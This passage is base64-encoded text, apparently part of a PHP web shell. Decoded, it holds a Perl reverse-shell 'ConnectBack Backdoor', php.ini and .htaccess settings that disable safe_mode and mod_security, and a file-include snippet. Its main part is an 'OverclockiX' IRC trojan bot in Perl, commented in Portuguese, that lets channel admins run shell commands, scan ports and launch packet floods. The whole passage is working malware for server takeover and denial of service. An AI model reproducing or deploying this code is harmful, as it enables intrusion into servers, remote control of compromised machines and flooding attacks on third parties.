YMkZ5Y21GNVgzTjBZWEowQUdWNFpXTnNRRUJIVEVsQ1ExOHlMakFBWTJ4dmMyVkFRRWRNU1VKRFh6SXVNQUJmWm5CZmFIY0FjR1Z5Y205eVFFQkhURWxDUTE4eUxqQUFabTl5YTBCQVIweEpRa05mTWk0d0FGOWZaSE52WDJoaGJtUnNaUUJmWDJ4cFltTmZZM04xWDJacGJta0FZV05qWlhCMFFFQkhURWxDUTE4eUxqQUFYMmx1YVhRQWJHbHpkR1Z1UUVCSFRFbENRMTh5TGpBQWMyVjBjMjlqYTI5d2RFQkFSMHhKUWtOZk1pNHdBRjl6ZEdGeWRBQmZYMnhwWW1OZlkzTjFYMmx1YVhRQVgxOWljM05mYzNSaGNuUUFiV0ZwYmdCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmtCQVIweEpRa05mTWk0d0FHUjFjREpBUUVkTVNVSkRYekl1TUFCa1lYUmhYM04wWVhKMEFHSnBibVJBUUVkTVNVSkRYekl1TUFCZlptbHVhUUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlgyazJPRFl1WjJWMFgzQmpYM1JvZFc1ckxtSjRBRjlsYm1RQWMyVnVaRUJBUjB4SlFrTmZNaTR3QUdoMGIyNXpRRUJIVEVsQ1ExOHlMakFBWDBsUFgzTjBaR2x1WDNWelpXUUFYMTlrWVhSaFgzTjBZWEowQUhOdlkydGxkRUJBUjB4SlFrTmZNaTR3QUY5S2RsOVNaV2RwYzNSbGNrTnNZWE56WlhNQVgxOW5iVzl1WDNOMFlYSjBYMThBIjsKJGJhY2tfY29ubmVjdHM9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEthV1lnS0NFa1FWSkhWbHN3WFNrZ2V3MEtJQ0J3Y21sdWRHWWdJbFZ6WVdkbE9pQWtNQ0JiU0c5emRGMGdQRkJ2Y25RK1hHNGlPdzBLSUNCbGVHbDBLREVwT3cwS2ZRMEtjSEpwYm5RZ0lsc3FYU0JFZFcxd2FXNW5JRUZ5WjNWdFpXNTBjMXh1SWpzTkNpUm9iM04wSUQwZ0pFRlNSMVpiTUYwN0RRb2tjRzl5ZENBOUlEZ3dPdzBLYVdZZ0tDUkJVa2RXV3pGZEtTQjdEUW9nSUNSd2IzSjBJRDBnSkVGU1IxWmJNVjA3RFFwOURRcHdjbWx1ZENBaVd5cGRJRU52Ym01bFkzUnBibWN1TGk1Y2JpSTdEUW9rY0hKdmRHOGdQU0JuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrZ2ZId2daR2xsS0NKVmJtdHViM2R1SUZCeWIzUnZZMjlzWEc0aUtUc05Dbk52WTJ0bGRDaFRSVkpXUlZJc0lGQkdYMGxPUlZRc0lGTlBRMHRmVTFSU1JVRk5MQ0FrY0hKdmRHOHBJSHg4SUdScFpTQW9JbE52WTJ0bGRDQkZjbkp2Y2x4dUlpazdEUXB0ZVNBa2RHRnlaMlYwSUQwZ2FXNWxkRjloZEc5dUtDUm9iM04wS1RzTkNtbG1JQ2doWTI5dWJtVmpkQ2hUUlZKV1JWSXNJSEJoWTJzZ0lsTnVRVFI0T0NJc0lESXNJQ1J3YjNKMExDQWtkR0Z5WjJWMEtTa2dldzBLSUNCa2FXVW9JbFZ1WVdKc1pTQjBieUJEYjI1dVpXTjBYRzRpS1RzTkNuME5DbkJ5YVc1MElDSmJLbDBnVTNCaGQyNXBibWNnVTJobGJHeGNiaUk3RFFwcFppQW9JV1p2Y21zb0lDa3BJSHNOQ2lBZ2IzQmxiaWhUVkVSSlRpd2lQaVpUUlZKV1JWSWlLVHNOQ2lBZ2IzQmxiaWhUVkVSUFZWUXNJajRtVTBWU1ZrVlNJaWs3RFFvZ0lHOXdaVzRvVTFSRVJWSlNMQ0krSmxORlVsWkZVaUlwT3cwS0lDQndjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBRbUZqYXlCQ1lXTnJaRzl2Y2lCMmN5QXhMakFnWW5rZ1UyNUpjRVZ5WDFOQklITnVhWEJsY2kxellTNWpiMjBnUFQwdExTQWdYRzVjYmlJN0lBMEtjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdMUzA5UFZONWMzUmxiV2x1Wm04OVBTMHRJRHNnZFc1aGJXVWdMV0U3WldOb2J6c05DbVZqYUc4Z0xTMDlQVlZ6WlhKcGJtWnZQVDB0TFNBN0lHbGtPMlZqYUc4N1pXTm9ieUF0TFQwOVJHbHlaV04wYjNKNVBUMHRMU0E3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQzB0UFQxVGFHVnNiRDA5TFMwZ0lpazdJQTBLSUNCbGVHVmpJSHNuTDJKcGJpOXphQ2Q5SUNjdFltRnphQ2NnTGlBaVhEQWlJSGdnTkRzTkNpQWdaWGhwZENnd0tUc05DbjA9IjsKJHBocF9pbmkxPSJjMkZtWlY5dGIyUmxJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1BTQWdJQ0FnSUNCUFptWT0iOwokaHRhY2Nlcz0iUEVsbVRXOWtkV3hsSUcxdlpGOXpaV04xY21sMGVTNWpQZzBLSUNBZ0lGTmxZMFpwYkhSbGNrVnVaMmx1WlNCUFptWU5DaUFnSUNCVFpXTkdhV3gwWlhKVFkyRnVVRTlUVkNCUFptWU5Dand2U1daTmIyUjFiR1UrIjsKJHNuaV9yZXM9IlBEOE5DbVZqYUc4Z2FXNXBYMmRsZENnaWMyRm1aVjl0YjJSbElpazdEUXBsWTJodklHbHVhVjluWlhRb0ltOXdaVzVmWW1GelpXUnBjaUlwT3cwS2FXNWpiSFZrWlNna1gwZEZWRnNpWm1sc1pTSmRLVHNOQ21sdWFWOXlaWE4wYjNKbEtDSnpZV1psWDIxdlpHVWlLVHNOQ21sdWFWOXlaWE4wYjNKbEtDSnZjR1Z1WDJKaGMyVmthWElpS1RzTkNtVmphRzhnYVc1cFgyZGxkQ2dpYzJGbVpWOXRiMlJsSWlrN0RRcGxZMmh2SUdsdWFWOW5aWFFvSW05d1pXNWZZbUZ6WldScGNpSXBPdzBLYVc1amJIVmtaU2drWDBkRlZGc2ljM01pWFNrN0RRby9QZz09IjsKCmlmKCFlbXB0eSgkX1BPU1RbJ2lyY2FkbWluJ10pIEFORCAhZW1wdHkoJF9QT1NUWydpcmNzZXJ2ZXInXSkgQU5EICFlbXB0eSgkX1BPU1RbJ2lyY2NoYW5hbCddKSBBTkQgIWVtcHR5KCRfUE9TVFsnaXJjbmFtZSddKSkKewokaXJjYWRtaW49JF9QT1NUWydpcmNhZG1pbiddOwokaXJjc2VydmVyPSRfUE9TVFsnaXJjc2VydmVyJ107CiRpcmNjaGFuPSRfUE9TVFsnaXJjY2hhbmFsJ107CiRpcmNsYWJlbD0kX1BPU1RbJ2lyY25hbWUnXTsKZWNobyAiPHRpdGxlPk92ZXJjbG9ja2lYIFNoZWxsLUNvbm5lY3RvciB8fCBDb25uZWN0aW5nIHRvICRpcmNzZXJ2ZXI8dGl0bGU+IjsKZWNobyAiPGJvZHkgYmdjb2xvcj1cImJsYWNrXCIgdGV4dD1cImdyZWVuXCI+IjsKZWNobyAiTm93IENvbm5lY3RpbmcgdG8gPGI+PGZvbnQgY29sb3I9XCJyZWRcIj4kaXJjc2VydmVyPC9mb250PjwvYj4gaW4gPGI+PGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4kaXJjY2hhbjwvZm9udD48L2I+IEFuZG1pbmlzdHJhdG9yczogPGI+PGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4kaXJjYWRtaW48L2ZvbnQ+PC9iPiBCb3RuYW1lIGlzIDxiPjxmb250IGNvbG9yPVwieWVsbG93XCI+JGlyY2xhYmVsPC9mb250PjwvYj4iOwplY2hvICI8cD5Eb250IEZvcmdldCB0byBEZWxldGUgTG9hZGVyLnBsIGluIC90bXA8L3A+IjsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjSVJDIFRyb2phbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiRmaWxlPSIKIyMjIyMjIyMjIyMjIyMjIyBDT05GSUdVUkFDQU8gIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbXkgXCRwcm9jZXNzbyA9ICcvdXNyL2xvY2FsL2FwYWNoZS9iaW4vaHR0cGQgLURTU0wnOyAjIE5vbWUgZG8gcHJvY2Vzc28gcXVlIHZhaSBhcGFyZWNlIG5vIHBzICMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbXkgXCRsaW5hc19tYXg9JzQ4JzsgIyBFdml0YSBvIGZsb29kIDopIGRlcG9pcyBkZSBYIGxpbmhhcyAjCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCm15IFwkc2xlZXA9JzQnOyAjIGVsZSBkb3JtZSBYIHNlZ3VuZG9zICMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIElSQyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbXkgQGFkbXM9KFwiJGlyY2FkbWluXCIpOyAjIE5pY2sgZG8gYWRtaW5pc3RyYWRvciAjCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCm15IEBjYW5haXM9KFwiJGlyY2NoYW5cIik7ICMgQ2FzbyBoYWphIHNlbmhhIChcIiNjYW5hbCA6c2VuaGFcIikgIwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpteSBcJG5pY2s9JyRpcmNsYWJlbCc7ICMgTmljayBkbyBib3QuIENhc28gZXN0ZWphIGVtIHVzbyB2YWkgYXBhcmVjZXIgIwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgYXBhcmVjZXIgY29tIG51bWVybyByYWRvbmFtaWNvIG5vIGZpbmFsICMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbXkgXCRpcmNuYW1lID0gJ0xpbnV4JzsgIyBVc2VyIElEICMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKY2hvcCAobXkgXCRyZWFsbmFtZSA9IGB1bmFtZSAtYWApOyAjIEZ1bGwgTmFtZSAjCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjClwkc2Vydmlkb3I9JyRpcmNzZXJ2ZXInIHVubGVzcyBcJHNlcnZpZG9yOyAjIFNlcnZpZG9yIGRlIGlyYyBxdWUgdmFpIHNlciB1c2FkbyAjCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBjYXNvIG7jbyBzZWphIGVzcGVjaWZpY2FkbyBubyBhcmd1bWVudG8gIwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpteSBcJHBvcnRhPSc2NjY3JzsgIyBQb3J0YSBkbyBzZXJ2aWRvciBkZSBpcmMgIwojIyMjIyMjIyMjIyMjIyMjIEFDRVNTTyBBIFNIRUxMICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpteSBcJHNlY3YgPSAxOyAjIDEvMCBwcmEgaGFiaWxpdGEvZGVzYWJpbGl0YSBhY2Vzc28gYSBzaGVsbCAjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCm15IFwkVkVSU0FPID0gJzAuMic7ClwkU0lHeydJTlQnfSA9ICdJR05PUkUnOwpcJFNJR3snSFVQJ30gPSAnSUdOT1JFJzsKXCRTSUd7J1RFUk0nfSA9ICdJR05PUkUnOwpcJFNJR3snQ0hMRCd9ID0gJ0lHTk9SRSc7ClwkU0lHeydQUyd9ID0gJ0lHTk9SRSc7ClwkU0lHeydTVE9QJ30gPSAnSUdOT1JFJzsKdXNlIElPOjpTb2NrZXQ7CnVzZSBTb2NrZXQ7CnVzZSBJTzo6U2VsZWN0OwpjaGRpcihcIi9cIik7Clwkc2Vydmlkb3I9XCJcJEFSR1ZbMF1cIiBpZiBcJEFSR1ZbMF07CiQwPVwiXCRwcm9jZXNzb1wiLlwiXDBcIngxNjs7Cm15IFwkcGlkPWZvcms7CmV4aXQgaWYgXCRwaWQ7CmRpZSBcIlByb2JsZW1hIGNvbSBvIGZvcms6ICQhXCIgdW5sZXNzIGRlZmluZWQoXCRwaWQpOwpteSBcJGRjY19zZWwgPSBuZXcgSU86OlNlbGVjdC0+bmV3KCk7CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgQjB0Y2haIG5hIHZlaWEgZWhlaGUgOlAgIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKXCRzZWxfY2xpZW50ZSA9IElPOjpTZWxlY3QtPm5ldygpOwpzdWIgc2VuZHJhdyB7CiAgaWYgKCQjXyA9PSAnMScpIHsKICAgIG15IFwkc29ja2V0ID0gXCRfWzBdOwogICAgcHJpbnQgXCRzb2NrZXQgXCJcJF9bMV1cXG5cIjsKICB9IGVsc2UgewogICAgICBwcmludCBcJElSQ19jdXJfc29ja2V0IFwiXCRfWzBdXFxuXCI7CiAgfQp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpzdWIgY29uZWN0YXIgewogICBteSBcJG1ldW5pY2sgPSBcJF9bMF07CiAgIG15IFwkc2Vydmlkb3JfY29uID0gXCRfWzFdOwogICBteSBcJHBvcnRhX2NvbiA9IFwkX1syXTsKCiAgIG15IFwkSVJDX3NvY2tldCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQcm90bz0+XCJ0Y3BcIiwgUGVlckFkZHI9PlwiXCRzZXJ2aWRvcl9jb25cIiwgUGVlclBvcnQ9PlwkcG9ydGFfY29uKSBvciByZXR1cm4oMSk7CiAgIGlmIChkZWZpbmVkKFwkSVJDX3NvY2tldCkpIHsKICAgICBcJElSQ19jdXJfc29ja2V0ID0gXCRJUkNfc29ja2V0OwoKICAgICBcJElSQ19zb2NrZXQtPmF1dG9mbHVzaCgxKTsKICAgICBcJHNlbF9jbGllbnRlLT5hZGQoXCRJUkNfc29ja2V0KTsKCiAgICAgXCRpcmNfc2VydmVyc3tcJElSQ19jdXJfc29ja2V0fXsnaG9zdCd9ID0gXCJcJHNlcnZpZG9yX2NvblwiOwogICAgIFwkaXJjX3NlcnZlcnN7XCRJUkNfY3VyX3NvY2tldH17J3BvcnRhJ30gPSBcIlwkcG9ydGFfY29uXCI7CiAgICAgXCRpcmNfc2VydmVyc3tcJElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gXCRtZXVuaWNrOwogICAgIFwkaXJjX3NlcnZlcnN7XCRJUkNfY3VyX3NvY2tldH17J21ldWlwJ30gPSBcJElSQ19zb2NrZXQtPnNvY2tob3N0OwogICAgIG5pY2soXCJcJG1ldW5pY2tcIik7CiAgICAgc2VuZHJhdyhcIlVTRVIgXCRpcmNuYW1lIFwiLlwkSVJDX3NvY2tldC0+c29ja2hvc3QuXCIgXCRzZXJ2aWRvcl9jb24gOlwkcmVhbG5hbWVcIik7CiAgICAgc2xlZXAgMTsKICAgfQp9ICMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKbXkgXCRsaW5lX3RlbXA7CndoaWxlKCAxICkgewogICB3aGlsZSAoIShrZXlzKCVpcmNfc2VydmVycykpKSB7IGNvbmVjdGFyKFwiXCRuaWNrXCIsIFwiXCRzZXJ2aWRvclwiLCBcIlwkcG9ydGFcIik7IH0KICAgZGVsZXRlKFwkaXJjX3NlcnZlcnN7Jyd9KSBpZiAoZGVmaW5lZChcJGlyY19zZXJ2ZXJzeycnfSkpOwogICAmRENDOjpjb25uZWN0aW9uczsKICAgbXkgQHJlYWR5ID0gXCRzZWxfY2xpZW50ZS0+Y2FuX3JlYWQoMCk7CiAgIG5leHQgdW5sZXNzKEByZWFkeSk7CiAgIGZvcmVhY2ggXCRmaCAoQHJlYWR5KSB7CiAgICAgXCRJUkNfY3VyX3NvY2tldCA9IFwkZmg7CiAgICAgXCRtZXVuaWNrID0gXCRpcmNfc2VydmVyc3tcJElSQ19jdXJfc29ja2V0fXsnbmljayd9OwogICAgIFwkbnJlYWQgPSBzeXNyZWFkKFwkZmgsIFwkbXNnLCA0MDk2KTsKICAgICBpZiAoXCRucmVhZCA9PSAwKSB7CiAgICAgICAgXCRzZWxfY2xpZW50ZS0+cmVtb3ZlKFwkZmgpOwogICAgICAgIFwkZmgtPmNsb3NlOwogICAgICAgIGRlbGV0ZShcJGlyY19zZXJ2ZXJze1wkZmh9KTsKICAgICB9CiAgICAgQGxpbmVzID0gc3BsaXQgKC9cXG4vLCBcJG1zZyk7CgogICAgIGZvcihteSBcJGM9MDsgXCRjPD0gJCNsaW5lczsgXCRjKyspIHsKICAgICAgIFwkbGluZSA9IFwkbGluZXNbXCRjXTsKICAgICAgIFwkbGluZT1cJGxpbmVfdGVtcC5cJGxpbmUgaWYgKFwkbGluZV90ZW1wKTsKICAgICAgIFwkbGluZV90ZW1wPScnOwogICAgICAgXCRsaW5lID1+IHMvXFxyJC8vOwogICAgICAgdW5sZXNzIChcJGMgPT0gJCNsaW5lcykgewogICAgICAgICBwYXJzZShcIlwkbGluZVwiKTsKICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgaWYgKCQjbGluZXMgPT0gMCkgewogICAgICAgICAgICAgcGFyc2UoXCJcJGxpbmVcIik7CiAgICAgICAgICAgfSBlbHNpZiAoXCRsaW5lc1tcJGNdID1+IC9cXHIkLykgewogICAgICAgICAgICAgICBwYXJzZShcIlwkbGluZVwiKTsKICAgICAgICAgICB9IGVsc2lmIChcJGxpbmUgPX4gL14oXFMrKSBOT1RJQ0UgQVVUSCA6XCpcKlwqLykgewogICAgICAgICAgICAgICBwYXJzZShcIlwkbGluZVwiKTsKICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICBcJGxpbmVfdGVtcCA9IFwkbGluZTsKICAgICAgICAgICB9CiAgICAgICB9CiAgICAgIH0KICAgfQp9CgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgoKc3ViIHBhcnNlIHsKICAgbXkgXCRzZXJ2YXJnID0gc2hpZnQ7CiAgIGlmIChcJHNlcnZhcmcgPX4gL15QSU5HIFw6KC4qKS8pIHsKICAgICBzZW5kcmF3KFwiUE9ORyA6JDFcIik7CiAgIH0gZWxzaWYgKFwkc2VydmFyZyA9fiAvXlw6KC4rPylcISguKz8pXEAoLis/KSBQUklWTVNHICguKz8pIFw6KC4rKS8pIHsKICAgICAgIG15IFwkcG49JDE7IG15IFwkb25kZSA9ICQ0OyBteSBcJGFyZ3MgPSAkNTsKICAgICAgIGlmIChcJGFyZ3MgPX4gL15cXDAwMVZFUlNJT05cXDAwMSQvKSB7CiAgICAgICAgIG5vdGljZShcIlwkcG5cIiwgXCJcXDAwMVZFUlNJT04gU2hlbGxCT1QtXCRWRVJTQU8gcG9yIDBsZFcwbGZcXDAwMVwiKTsKICAgICAgIH0KICAgICAgIGlmIChncmVwIHtcJF8gPX4gL15cUVwkcG5cRSQvaSB9IEBhZG1zKSB7CiAgICAgICAgIGlmIChcJG9uZGUgZXEgXCJcJG1ldW5pY2tcIil7CiAgICAgICAgICAgc2hlbGwoXCJcJHBuXCIsIFwiXCRhcmdzXCIpOwogICAgICAgICB9CiAgICAgICAgIGlmIChcJGFyZ3MgPX4gL14oXFFcJG1ldW5pY2tcRXxcIWF0cml4KVxzKyguKikvICkgewogICAgICAgICAgICBteSBcJG5hdHJpeCA9ICQxOwogICAgICAgICAgICBteSBcJGFyZyA9ICQyOwogICAgICAgICAgICBpZiAoXCRhcmcgPX4gL15cISguKikvKSB7CiAgICAgICAgICAgICAgaXJjYXNlKFwiXCRwblwiLFwiXCRvbmRlXCIsXCJcJDFcIikgdW5sZXNzIChcJG5hdHJpeCBlcSBcIiFhdHJpeFwiIGFuZCBcJGFyZyA9fiAvXlwhbmljay8pOwogICAgICAgICAgICB9IGVsc2lmIChcJGFyZyA9fiAvXlxAKC4qKS8pIHsKICAgICAgICAgICAgICAgIFwkb25kZXAgPSBcJG9uZGU7CiAgICAgICAgICAgICAgICBcJG9uZGVwID0gXCRwbiBpZiBcJG9uZGUgZXEgXCRtZXVuaWNrOwogICAgICAgICAgICAgICAgYmZ1bmMoXCJcJG9uZGVwXCIsXCIkMVwiKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHNoZWxsKFwiXCRvbmRlXCIsIFwiXCRhcmdcIik7CiAgICAgICAgICAgIH0KICAgICAgICAgfQogICAgICAgfQogICB9IGVsc2lmIChcJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPylccytOSUNLXHMrXDooXFMrKS9pKSB7CiAgICAgICBpZiAobGMoJDEpIGVxIGxjKFwkbWV1bmljaykpIHsKICAgICAgICAgXCRtZXVuaWNrPSQ0OwogICAgICAgICBcJGlyY19zZXJ2ZXJze1wkSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSBcJG1ldW5pY2s7CiAgICAgICB9CiAgIH0gZWxzaWYgKFwkc2VydmFyZyA9fiBtL15cOiguKz8pXHMrNDMzL2kpIHsKICAgICAgIG5pY2soXCJcJG1ldW5pY2tcIi5pbnQgcmFuZCg5OTk5KSk7CiAgIH0gZWxzaWYgKFwkc2VydmFyZyA9fiBtL15cOiguKz8pXHMrMDAxXHMrKFxTKylccy9pKSB7CiAgICAgICBcJG1ldW5pY2sgPSAkMjsKICAgICAgIFwkaXJjX3NlcnZlcnN7XCRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9IFwkbWV1bmljazsKICAgICAgIFwkaXJjX3NlcnZlcnN7XCRJUkNfY3VyX3NvY2tldH17J25vbWUnfSA9IFwiJDFcIjsKICAgICAgIGZvcmVhY2ggbXkgXCRjYW5hbCAoQGNhbmFpcykgewogICAgICAgICBzZW5kcmF3KFwiSk9JTiBcJGNhbmFsXCIpOwogICAgICAgfQogICB9Cn0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCnN1YiBiZnVuYyB7CiAgbXkgXCRwcmludGwgPSBcJF9bMF07CiAgbXkgXCRmdW5jYXJnID0gXCRfWzFdOwogIGlmIChteSBcJHBpZCA9IGZvcmspIHsKICAgICB3YWl0cGlkKFwkcGlkLCAwKTsKICB9IGVsc2UgewogICAgICBpZiAoZm9yaykgewogICAgICAgICBleGl0OwogICAgICAgfSBlbHNlIHsKICAgICAgICAgICBpZiAoXCRmdW5jYXJnID1+IC9ecG9ydHNjYW4gKC4qKS8pIHsKICAgICAgICAgICAgIG15IFwkaG9zdGlwPVwiJDFcIjsKICAgICAgICAgICAgIG15IEBwb3J0YXM9KFwiMjFcIixcIjIyXCIsXCIyM1wiLFwiMjVcIixcIjUzXCIsXCI4MFwiLFwiMTEwXCIsXCIxNDNcIik7CiAgICAgICAgICAgICBteSAoQGFiZXJ0YSwgJXBvcnRhX2Jhbm5lcik7CiAgICAgICAgICAgICBmb3JlYWNoIG15IFwkcG9ydGEgKEBwb3J0YXMpIHsKICAgICAgICAgICAgICAgIG15IFwkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gXCRob3N0aXAsIFBlZXJQb3J0ID0+IFwkcG9ydGEsIFByb3RvID0+ICd0Y3AnLCBUaW1lb3V0ID0+IDQpOwogICAgICAgICAgICAgICAgaWYgKFwkc2NhbnNvY2spIHsKICAgICAgICAgICAgICAgICAgIHB1c2ggKEBhYmVydGEsIFwkcG9ydGEpOwogICAgICAgICAgICAgICAgICAgXCRzY2Fuc29jay0+Y2xvc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CgogICAgICAgICAgICAgaWYgKEBhYmVydGEpIHsKICAgICAgICAgICAgICAgc2VuZHJhdyhcJElSQ19jdXJfc29ja2V0LCBcIlBSSVZNU0cgXCRwcmludGwgOnBvcnRhcyBhYmVydGFzOiBAYWJlcnRhXCIpOwogICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICBzZW5kcmF3KFwkSVJDX2N1cl9zb2NrZXQsXCJQUklWTVNHIFwkcHJpbnRsIDpOZW5odW1hIHBvcnRhIGFiZXJ0YSBmb2kgZW5jb250cmFkYVwiKTsKICAgICAgICAgICAgIH0KICAgICAgICAgICB9CiAgICAgICAgICAgaWYgKFwkZnVuY2FyZyA9fiAvXnBhY290YVxzKyguKilccysoXGQrKVxzKyhcZCspLykgewogICAgICAgICAgICAgbXkgKFwkZHRpbWUsICVwYWNvdGVzKSA9IGF0dGFja2VyKFwiJDFcIiwgXCIkMlwiLCBcIiQzXCIpOwogICAgICAgICAgICAgXCRkdGltZSA9IDEgaWYgXCRkdGltZSA9PSAwOwogICAgICAgICAgICAgbXkgJWJ5dGVzOwogICAgICAgICAgICAgXCRieXRlc3tpZ21wfSA9ICQyICogXCRwYWNvdGVze2lnbXB9OwogICAgICAgICAgICAgXCRieXRlc3tpY21wfSA9ICQyICogXCRwYWNvdGVze2ljbXB9OwogICAgICAgICAgICAgXCRieXRlc3tvfSA9ICQyICogXCRwYWNvdGVze299OwogICAgICAgICAgICAgXCRieXRlc3t1ZHB9ID0gJDIgKiBcJHBhY290ZXN7dWRwfTsKICAgICAgICAgICAgIFwkYnl0ZXN7dGNwfSA9ICQyICogXCRwYWNvdGVze3RjcH07CgogICAgICAgICAgICAgc2VuZHJhdyhcJElSQ19jdXJfc29ja2V0LCBcIlBSSVZNU0cgXCRwcmludGwgOlxcMDAyIC0gU3RhdHVzIEdFUkFMIC1cXDAwMlwiKTsKICAgICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCwgXCJQUklWTVNHIFwkcHJpbnRsIDpcXDAwMlRlbXBvXFwwMDI6IFwkZHRpbWVcIi5cInNcIik7CiAgICAgICAgICAgICBzZW5kcmF3KFwkSVJDX2N1cl9zb2NrZXQsIFwiUFJJVk1TRyBcJHByaW50bCA6XFwwMDJUb3RhbCBwYWNvdGVzXFwwMDI6IFwiLihcJHBhY290ZXN7dWRwfSArIFwkcGFjb3Rlc3tpZ21wfSArIFwkcGFjb3Rlc3tpY21wfSArIFwkcGFjb3Rlc3tvfSkpOwogICAgICAgICAgICAgc2VuZHJhdyhcJElSQ19jdXJfc29ja2V0LCBcIlBSSVZNU0cgXCRwcmludGwgOlxcMDAyVG90YWwgYnl0ZXNcXDAwMjogXCIuKFwkYnl0ZXN7aWNtcH0gKyBcJGJ5dGVzIHtpZ21wfSArIFwkYnl0ZXN7dWRwfSArIFwkYnl0ZXN7b30pKTsKICAgICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCwgXCJQUklWTVNHIFwkcHJpbnRsIDpcXDAwMk3pZGlhIGRlIGVudmlvXFwwMDI6IFwiLmludCgoKFwkYnl0ZXN7aWNtcH0rXCRieXRlc3tpZ21wfStcJGJ5dGVze3VkcH0gKyBcJGJ5dGVze299KS8xMDI0KS9cJGR0aW1lKS5cIiBrYnBzXCIpOwoKICAgICAgICAgICB9CiAgICAgICAgICAgZXhpdDsKICAgICAgIH0KICB9Cn0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCgpzdWIgaXJjYXNlIHsKICBteSAoXCRrZW0sIFwkcHJpbnRsLCBcJGNhc2UpID0gQF87CgoKICBpZiAoXCRjYXNlID1+IC9eam9pbiAoLiopLykgewogICAgIGooXCIkMVwiKTsKICAgfQogICBpZiAoXCRjYXNlID1+IC9ecGFydCAoLiopLykgew